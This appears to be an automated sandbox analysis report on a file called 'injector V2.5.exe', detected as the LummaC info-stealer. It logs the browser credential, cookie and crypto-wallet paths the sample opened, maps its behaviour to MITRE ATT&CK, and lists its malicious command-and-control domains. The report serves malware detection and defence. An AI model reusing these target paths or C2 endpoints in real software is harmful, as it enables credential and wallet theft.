Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1849649478.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: injector V2.5.exe PID: 4928, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: injector V2.5.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
injector V2.5.exe	34%	ReversingLabs	Win32.Trojan.Stealerc
injector V2.5.exe	100%	Avira	HEUR/AGEN.1361736
injector V2.5.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://librari-night.sbs/apir	100%	Avira URL Cloud	malware
https://librari-night.sbs/t?	100%	Avira URL Cloud	malware
https://librari-night.sbs/api~	100%	Avira URL Cloud	malware
https://librari-night.sbs/OT	100%	Avira URL Cloud	malware
https://revirepart.biz/api	100%	Avira URL Cloud	malware
https://librari-night.sbs/r	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
librari-night.sbs	172.67.206.172	true	false	high
revirepart.biz	104.21.43.198	true	false	high
processhol.sbs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://librari-night.sbs/api	false		high
p3ar11fter.sbs	false		high
peepburry828.sbs	false		high
https://revirepart.biz/api	true	Avira URL Cloud: malware	unknown
revirepart.biz	false		high
p10tgrace.sbs	false		high
processhol.sbs	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://librari-night.sbs/api~	injector V2.5.exe, 00000002.00000003.1902012825.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	injector V2.5.exe	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	injector V2.5.exe	false		high
https://librari-night.sbs/	injector V2.5.exe, 00000002.00000002.1930206544.00000000033FC000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1924998682.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1924998682.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799048884.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1925547199.00000000033FC000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902129361.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1872564200.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1930155911.00000000033DC000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902620677.00000000033D7000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799241711.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799418781.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1926539223.00000000033DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	injector V2.5.exe	false		high
http://ocsp.sectigo.com0	injector V2.5.exe	false		high
https://librari-night.sbs:443/api	injector V2.5.exe, 00000002.00000003.1923653498.000000000337E000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902597448.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902012825.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.000000000337E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	injector V2.5.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://librari-night.sbs/t?	injector V2.5.exe, 00000002.00000003.1902620677.00000000033D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	injector V2.5.exe, 00000002.00000003.1799004611.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799257320.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1798838778.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776917061.0000000005B83000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1777081480.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	injector V2.5.exe	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	injector V2.5.exe, 00000002.00000003.1799004611.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799257320.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1798838778.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776917061.0000000005B83000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1777081480.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://librari-night.sbs/apir	injector V2.5.exe, 00000002.00000003.1923653498.000000000337E000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.000000000337E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	injector V2.5.exe	false		high
